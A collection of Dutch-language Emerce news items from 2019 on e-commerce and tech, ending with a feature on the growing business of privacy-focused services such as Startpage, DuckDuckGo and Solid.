5. Aliexpress: Alibaba maakt door middel van Aliexpress gebruik van haar grote netwerk aan mkb’ers. Op dit platform kunnen Westerse consumenten en bedrijven direct goederen kopen van Chinese producenten. Het platform is vooral succesvol aan de onderkant van de markt. 

Welke uitdagingen Alibaba heeft in het Westen 

Het is niet alleen maar rozengeur en maneschijn voor de Chinese marketplace. Er zijn vier cruciale problemen die het succes van Alibaba in het Westen kunnen dwarsbomen:

1. Prioriteiten stellen: Net als Amazon, heeft ook Alibaba maar een beperkte hoeveelheid middelen tot haar beschikking om haar doelen te bereiken. Het is onwaarschijnlijk dat Alibaba in korte tijd een vergelijkbaar logistiek netwerk kan bouwen als Amazon nu al heeft op Westerse markten, laat staan dat Alibaba de impact kan hebben van lokale helden zoals Bol.com, Otto en Zalando.

2. Culturele apathie: Dit is een vergelijkbare uitdaging als Amazon tegenkwam in China, maar hij is voor Alibaba groter, vanwege de slechte naam die Chinese merken hebben in het Westen. Als het bedrijf ook succesvol wil zijn binnen de hogere segmenten van de markt, dan moeten Chinese producten zowel technisch beter worden, als meer “goodwill” creëren bij Westerse consumenten.

3. Handelsoorlogen: De huidige spanningen tussen de VS en China kunnen de uitbreidingsdoelen van het bedrijf flink onder druk zetten. Zo zouden producten van Huawai op Westerse markten verspreid gaan worden, maar werd hier plotseling van afgezien. Dit kan een voorbeeld worden van wat de Chinese marketplace te wachten staat als het conflict niet wordt opgelost.

4. Chinese politieke/bureaucratische uitdagingen: Niet alleen de internationale politiek, maar ook de nationale beleidsvoering kan uitbreiding van Alibaba moeilijker maken. China is een corrupt en bureaucratisch land met een zwakke rechtstaat. Financiering gaat bijna exclusief via de overheid. Jack Ma, de oude charismatische CEO van het bedrijf, had altijd goede connecties in Beijing. Nu hij weg is, kan het zomaar zijn dat zijn opvolger minder geliefd is. In dat geval zal het voor Alibaba moeilijker worden om haar eigen agenda te bepalen. De Chinese overheid heeft bijvoorbeeld in september besloten om bij elk groot “privaat” Chinees bedrijf een overheidsmedewerker te plaatsen om de boel in de gaten te houden. 

Europese marketplace 

Marketplaces veranderen van dag tot dag. Zowel in het Westen als in het Oosten is het vrijwel onmogelijk om te voorspellen wie uiteindelijk de strijd om de consument zal winnen. Wat ik in dit artikel heb gedaan, is een algemeen beeld schetsen van de kanten het op kán gaan. Alibaba is zeker niet kansloos op de Westerse markten en zal waarschijnlijk haar plek als succesvolle B2B marketplace behouden. De aanwezigheid van de Chinezen zal Amazon dwingen te blijven investeren in de markten waar ze nu al dominant is, waardoor het onwaarschijnlijk is dat Alibaba de plek van Amazon in zal nemen. Alibaba zal de VS en Europa nooit prioriteren zoals Amazon dat doet. De argumenten in dit stuk kunnen ook gebruikt worden om te pleiten voor een Europese marketplace; misschien zijn Bol.com en Otto over vijf jaar succesvoller dan Amazon.

Over de auteur: Ivo Verhoef is Assistant Marketplaces bij Brandsom en specialist op het gebied van Aziatische economische ontwikkeling, met een MA Azië Studies van de Universiteit Leiden. Binnen Brandsom houdt hij zich bezig met marketplace management, product onboarding, marketplace operations en performance marketing.



Lees het volledige bericht op Emerce »

Yahoo Japan en chatapp Line gaan wellicht fuseren

Posted 15 nov 2019 — by Emerce
Category nieuws

De chatapp Line en Yahoo Japan gaan fuseren. Yahoo Japan is eigendom van telecombedrijf SoftBank en Line van het Zuid-Afrikaanse Naver.

Volgens Nikkei zijn de gesprekken nog volop gaande, maar het lijkt erop dat ook Line Pay, Line Taxi en andere diensten bij Yahoo worden ondergebracht.

Yahoo Japan kwam voort uit het Amerikaanse Yahoo eind jaren negentig, maar het belang werd afgestoten toen de Amerikaanse tak naar Verizon ging. In juli 2018 nam SoftBank een deel van Altaba over, het bedrijf waarin Yahoo Japan was ondergebracht.

Yahoo Japan is nog altijd een grote naam in Japan.



Lees het volledige bericht op Emerce »

Yahoo Groups stopt na bijna twintig jaar

Posted 21 okt 2019 — by Emerce
Category nieuws

Yahoo Groups stopt nog voor het einde van het jaar. Vanaf 28 oktober is het al niet meer mogelijk om berichten te plaatsen.

Yahoo Groups is een van de oudste online forums, gestart in 2001. In 2010 waren er nog 10 miljoen Yahoo Groepen, maar kennelijk werd er steeds minder gebruik van gemaakt.

De site blijft wel bestaan, maar de publieke groepen worden afgeschermd en zijn dan alleen nog toegankelijk voor beheerders.



Lees het volledige bericht op Emerce »

Sociaal netwerk Tumblr verkocht aan moederbedrijf WordPress

Posted 13 aug 2019 — by Emerce
Category nieuws

Het sociale netwerk Tumblr is door telecombedrijf Verizon verkocht aan Automattic, het moederbedrijf van contentplatform WordPress. Het was ooit de grootste miskoop van Yahoo, dat er 1,1 miljard dollar voor neertelde.

Het is niet bekend wat Automattic ervoor heeft betaald, maar het zou minder dan 20 miljoen dollar zijn.

In 2013 was Tumblr de tot dan toe grootste aankoop van Yahoo. Aanvankelijk werd de acquisitie gezien als een gewaagde stap van de toenmalige CEO Melissa Mayer, die met Tumblr de concurrentie aan had kunnen gaan met Facebook en Instagram, maar een paar jaar later bleek dat het Amerikaanse bedrijf alleen maar geld had verloren.

Alleen al in het tweede kwartaal van 2016 schreef Yahoo 482 miljoen dollar af op de waarde van Tumblr. In het vierde kwartaal van 2015 was dat ook al 230 miljoen dollar. Oprichter David Karp hield het in 2017 al voor gezien.

Uiteindelijk kwam Yahoo en daarmee ook Tumblr terecht bij telecomreus Verizon. De media activiteiten van Verizon (voorheen Oath) zijn ook al niet erg succesvol gebleken. In het tweede kwartaal genereerde de divisie een 2,9 procent lagere omzet van 1,8 miljard dollar.

Sinds mei was Verizon al op zoek naar een koper voor Tumblr. Hoewel het sociale netwerk nog steeds 450 miljoen blogs telt, neemt het gebruik af.

Tumblr lijkt bij Automattic beter op zijn plaats, al is niet duidelijk of en hoe Tumblr wordt geïntegreerd met WordPress.

Zeker 200 werknemers verhuizen van Verizon naar Automattic. Automattic handhaaft de ban op pornografische content, die in december werd ingevoerd.



Lees het volledige bericht op Emerce »

Amazon: groter dan Libelle, kleiner dan Startpagina

Posted 23 jul 2019 — by Emerce
Category nieuws

Amazon is in Nederland een fractie groter dan damesblad Libelle online maar kleiner dan Bing, Yahoo en Wordfeud. De Amerikaanse e-commercegigant is hier nog maar een kleintje, een shop die door vier van de vijf mensen nog niet maandelijks wordt bezocht.

Cijfers van marktonderzoeker GfK laten zien dat Amazon een maandelijks bereik heeft 21,9 procent van de Nederlandse online populatie van dertien jaar en ouder. Ter vergelijking: het bereik van Libelle.nl is 21,5 procent, dat van Startpagina.nl 22,3 procent en dat van Bing.com 31,2 procent. Amazon is net iets groter dan dan de SBS-zenders van Talpa en de Volkskrant.

Niettemin staat het e-commerceplatform wel in de top 50 grootste sites van GfK. Bovendien hebben de Amerikanen wat de Nederlandse markt betreft nooit haast gehad. En toch realiseren ze hier al een omzet van enkele honderden miljoenen dollars per maand en is Amazon bijvoorbeeld op Black Friday al een populaire bestemming voor elektronica.

Qua bereik zijn de grootste e-commerceapps die van bol.com (19%), AliExpress (16%), Appie van AH (12%), Hema (12%) en Wish (9%). Opvallend is dat de bezoekfrequentie aan AliExpress en Wish met gemiddeld 12 bezoeken per maand hoger ligt dan bij bol.com, waar het gemiddelde op 7 bezoeken per maand ligt. De grootste stijgers ten opzichte van een jaar eerder zijn apps uit de food sector zoals Thuisbezorgd, Picnic, Jumbo en Too Good To Go.

Apps zijn in E-commerce Nederland inmiddels de favoriete manier van de consument om te snuffelen en te shoppen. In het eerste halfjaar van 2019 lag het bereik van mobiele shoppingapps voor het eerst boven de vijftig procent (51%). Een jaar geleden was dat nog 43 procent (2017) en de jaren daarvoor 33 (2016) en 21 procent (2015).

Wat verder opvalt is dat slechts negen van de top 25 websites uit Nederland komt:

Foto Shutterstock



Lees het volledige bericht op Emerce »

De groeiende business van privacy

Posted 20 jul 2019 — by Emerce
Category nieuws

Online zoeken zonder dat er geprofileerd wordt, digitaal winkelen met zo min mogelijk klantgegevens en de touwtjes omtrent je data in handen houden op social media. Na plug-ins en blockers krijgen ook andere producten en diensten die gebouwd zijn rond privacy meer tractie.

Privacy mag geen luxegoed zijn, stelde Google-CEO Sundar Pichai onlangs, waarmee hij een verlate reactie geeft op een statement van Eric Schmidt, voormalig bestuurder van de zoekgigant, enkele jaren geleden. Het opiniestuk in de New York Times dat Pichai hiervoor aangreep, zette nog eens op een rijtje waar de nadruk op lag tijdens Googles meest recente developerdag: ‘Ja, we verzamelen enorm veel data, maar dat is een goede zaak, want daarmee kunnen we je leven aangenamer maken. En dus spannen we ons hard in om je gegevens goed te bewaken.’ Hiermee erkent de techgigant publiekelijk het taboeonderwerp dat het een dataslurper is. Overigens wel rond de tijd van de introductie van een feature om automatisch je data te verwijderen na drie of achttien maanden. Wat weer een verlate reactie is op onduidelijkheid en discussie omtrent het volgen van gebruikers buiten de eigen toepassingen.

Hoewel dat vanuit gebruikersperspectief een stap in de goede richting is, is er op andere plekken in de techsector een trend van ‘simpelweg’ minder verzamelen van data te signaleren. “Het is een mythe dat je persoonlijke data nodig hebt om goede zoekresultaten te bieden of een succesvol bedrijf te bouwen”, stelt bijvoorbeeld Robert Beens, CEO en oprichter van Startpage.com. “Je groeit alleen minder hard.” Zijn bedrijf biedt sinds 2005 een privacyvriendelijke zoekmachine, later aangevuld met een e-maildienst en extra services zoals maps, en is een van het groeiende aantal partijen dat van privacy zijn corebusiness maakt. Wat in eerste instantie nog niet zoveel opleverde, door gebrek aan bewustzijn bij consumenten. De laatste jaren is het echter in een stroomversnelling gekomen. Niet vreemd, stelt Boot. In het verleden was het een technisch verhaal dat zich onder de oppervlakte afspeelde, nu is het mede door retargeting ads op andere plekken dan waar de data is ingewonnen zichtbaarder. “Dat wekt argwaan.”

Startpage.com haalt zijn inkomsten bij search ook uit advertenties, maar dat zijn ads uitsluitend gekoppeld aan de zoekwoorden, niet aan de zoekhistorie van de zoeker. “We kunnen dus niet kijken hoe lang iemand bij ons blijft of terugkomt, want iedereen is anoniem.” Toch levert dat voldoende op voor winstgevendheid. “We verdienen minder aan advertenties. Maar genoeg om de kosten te dragen en te investeren in ontwikkeling.”

GDPR-lite
Dat er momentum is, ziet ook Fatemeh Khatibloo, VP, Principal Analyst bij Forrester. Zij stelt dat 2018 een tumultueus jaar was, waarin niet alleen de AVG/GDPR van kracht werd, maar ook de staat Californië de Consumer Privacy Act aannam, terwijl de schandalen rondom privacyschendingen zich opstapelden. Met Facebook en zijn aaneenschakeling van incidenten als grootste windvanger. Reden voor consumenten om niet langer af te wachten, meent Khatibloo. Forrester-gegevens tonen aan dat 79 procent van de online volwassenen in de Verenigde Staten ten minste één tool gebruikt om zijn digitale privacy en beveiliging te beschermen. Het bedrijf verwacht dan ook dat gedurende dit jaar de druk vanuit enerzijds consumenten en anderzijds overheden verder zal toenemen. Waarbij individuen hun privacy actief beschermen en zich zullen laten horen over slechte actoren. “We voorspellen een piek in de acceptatie van privacytools en het gebruik van opt-outinstellingen en rechten van betrokkenen waardoor ‘hyperpersonalisatie’ een praktische en ethische uitdaging wordt.” Consumenten zullen daarmee privacyhandhavers worden, die toezichthouders waarschuwen over misdrijven, class-action rechtszaken indienen en bedrijven boycotten die hun privacy niet beschermen.

Tegelijkertijd proberen overheden ook grip op de zaak te krijgen. Zo namen politici in Vermont een wet aan die ‘data brokers’ ertoe verplicht zich te registreren en hun datapraktijken inzichtelijk te maken, inclusief datalekken. Iets wat met veel steun van het publiek gebeurde. Daarbij verwacht Khatibloo dat, mede door het gesoebat op nationaal niveau, meer staten federale wetten zullen formuleren en aannemen, gelijk aan een GDPR-lite.

Kluif
En ook vanuit het bedrijfsleven neemt de druk toe. Zoekbedrijf DuckDuckGo – dat zich net als Startpage.com richt op privacy – wil de Do Not Track-optie in browsers wettelijk verplicht stellen in de VS. Het stelt dat derde partijen internetgebruikers niet langer zouden mogen volgen als zij de Do Not Track-functie hebben ingeschakeld. Ook data die op plek A verzameld is, inzetten op plek B – denk aan een één-tweetje tussen WhatsApp en Instagram – moet hiermee voorkomen worden. Het wetsvoorstel dat het bedrijf hiervoor heeft geschreven, kan echter nog niet op veel steun rekenen onder politici. Neemt niet weg dat DuckDuckGo onder internetters een steeds groter bereik heeft, en het zoekbedrijf hoopt via de publieke opinie druk te zetten. Vorig jaar werd de grens van één miljard zoekopdrachten per maand overschreden.

Naast search zijn er ook op socialmediavlak verschillende privacygerichte initiatieven. Veelal met een decentrale opbouw. Zoals het langst lopende Diaspora* Project, dat gestart is in 2010. In plaats van alle persoonlijke gegevens in de centrale servers op te slaan, wordt gebruikgemaakt van lokale servers (pods) die overal in de wereld kunnen staan. Waarbij alle informatie eigendom blijft van de gebruikers en dus niet wordt overgedragen aan het medium. En gebruikers ook hun identiteit niet prijs hoeven te geven. Wat volgens de makers vrijheid moet geven, maar waar in het verleden ook al misbruik van werd gemaakt door IS-sympathisanten, toen zij geweerd werden van de mainstream social media. Het gebruikersaantal is door de genoemde opzet lastig vast te stellen, menen de makers. Naar schatting zijn dat er meer dan zeshonderdduizend.

Mastodon, dat in 2015 startte na onvrede over Twitter en zich aardig in de kijker speelde, zit met ruim achthonderdduizend gebruikers wat hoger, maar laat eveneens zien dat het lastig is om het grote publiek aan nieuwe initiatieven te binden. Het platform kenmerkt zich naast de decentrale opzet door een set antimisbruiktools en heeft moderators die vrij vlot kunnen ingrijpen.

Recenter nog, en dichter bij huis, is er Openbook dat al enkele jaren bezig is. Het verzamelt naar eigen zeggen geen persoonsgegevens, er zijn geen advertenties en de populariteit van bijvoorbeeld bedrijfspagina’s wordt niet bepaald door het aantal volgers. Plus: de berichten worden op de tijdlijn zelf versleuteld. Geld zal er verdiend worden met premiumfuncties, vertelde oprichter Joel Hernández Fernández eerder aan Emerce. Zoals een limiet op het aantal reacties en likes. Eveneens een initiatief dat op interesse kan rekenen, en zich naast het rumoer omtrent Facebook ook gesteund ziet door recente incidenten als het lekken van contactinformatie van miljoenen Instagram-influencers, bekendheden en merkaccounts. Maar desondanks een kluif zal hebben aan de groei in gebruikers.

Instemming
Een andere factor is de afhankelijkheid van big tech. Ook een partij als Startpage.com heeft ze nodig voor zijn diensten. Want het maakt gebruik van de zoekindex van Google. Beens: “Daar betalen we netjes voor. Het bijhouden van zo’n enorme index is alleen voorbehouden aan enkele grote spelers, zoals Google, Yahoo, Bing, Yandex en Baidu.” Maar, benadrukt hij, Google krijgt alleen te zien in welke taal gezocht wordt en in welk land. “Dat is de minimale informatie die nodig is om resultaten te bieden, want woorden kunnen meerdere betekenissen hebben.” Ondanks de behoefte aan privacy is er voor sommige zoekopdrachten aanleiding voor lokalisatie. “Als je in Amsterdam zit en een timmerman zoekt, wil je dat wel lokaal kunnen doen, niet in heel Nederland. Dat kan door specifiek voor zo’n opdracht met een random IP-adres uit die regio te kunnen zoeken. De gebruiker krijgt dan én privacy én lokale relevantie.”

Wat minder data verzamelen met zich meebrengt voor marketeers, wordt onder andere duidelijk bij Lush, dat zichzelf heeft opgelegd om het werk te doen met zo min mogelijk data over klanten. Het verwerkt online bestellingen bijvoorbeeld op basis van gegevens die daadwerkelijk nodig zijn voor levering, zoals naam en adres. Inzage in betaalgegevens heeft het bedrijf niet. Ook is de traffic geanonimiseerd en kan het klanten niet op de persoon nauwkeurig volgen, waardoor personalisatie niet mogelijk is. Hiervoor kiest de cosmeticaretailer een andere weg, blijkt onder andere uit customer-experienceonderzoek door KPMG: het (winkel)personeel gaat het gesprek aan.

Fatemeh Khatibloo (Forrester) ziet op haar beurt verrassend genoeg ook marketingkansen in de fel bekritiseerde opzet van social credit scoring, zoals we dat kennen van China. Dat kan ondanks het nachtmerriescenario dat het oproept volgens haar zorgen voor transparantie. Met potentie voor onder andere high profile lifestylemerken. Khatibloo voorziet dat een merk als Everlane of goop een dergelijke methode zal testen als uitbreiding van zijn influence-marketingprogramma. Waaraan klanten zullen willen deelnemen als het is gebaseerd op transparantie en instemming. En het daadwerkelijk waarde toevoegt.

Gemak
Het zal echter een flinke inspanning en missiewerk vergen om de status quo te veranderen. Beens: “Wij zijn te klein om awareness bij grote groepen te realiseren. Dat zal vooral door nieuws over datalekken, machtsmisbruik en dergelijke moeten komen.” Wat helpt is de AVG, zoals ook Forrester al aanhaalt. Bedrijven overwegen daardoor welke data ze willen delen met de wereld, merkt Beens, die het zakelijk verkeer naar zijn zoekmachine ziet groeien. Ook organisaties zijn zich bewuster van de risico’s. “Denk aan de researchafdeling van Philips die voortdurend zoekt naar patenten. Daar zijn patronen uit te halen.” Want die patronen tekenen zich sneller af dan mensen zich doorgaans realiseren, vervolgt hij. Zoals bleek uit een database met zoekgegevens van 650.000 mensen over drie maanden, die de Amerikaanse internetaanbieder AOL in 2006 online zette. Zonder IP-adres, maar wel met een uniek nummer. “Mensen waren door het samenstellen van hun zoekopdrachten vlot te identificeren.”

En dan is er naast bewustzijn en bekendheid nog een belangrijke uitdaging: gemak. De producten die in ruil voor persoonlijke data zijn te gebruiken, zijn uiterst verfijnd, erg gemakkelijk in gebruik en mede daardoor vervlochten in het dagelijks leven. Wat een drempel opwerpt. Want op het moment dat Facebook WhatsApp overneemt, wordt al gauw geroepen dat we beter met de chatapp kunnen stoppen. Door de netwerkfunctie – ‘iedereen zit er al’ – blijven mensen er echter toch. En dus zullen alternatieven nog overtuigender moeten zijn.

Solid
Op één centrale plek nagenoeg alle digitale persoonlijke gegevens bewaren, van foto’s tot adresboeken. Waarbij gebruikers het eigendom behouden en de gegevens kunnen delen met anderen. Dat is de gedachte achter Solid, een initiatief van Tim Berners-Lee, uitvinder van het World Wide Web. Gebruikers kunnen zo bedrijven als Facebook toestemming geven een deel van de gegevens te gebruiken, maar kunnen die toestemming ook op elk moment intrekken. Als een private website met je eigen API, aldus de bedenker.

* Dit artikel verscheen eerder in het juninummer van Emerce magazine (#172).

 



Lees het volledige bericht op Emerce »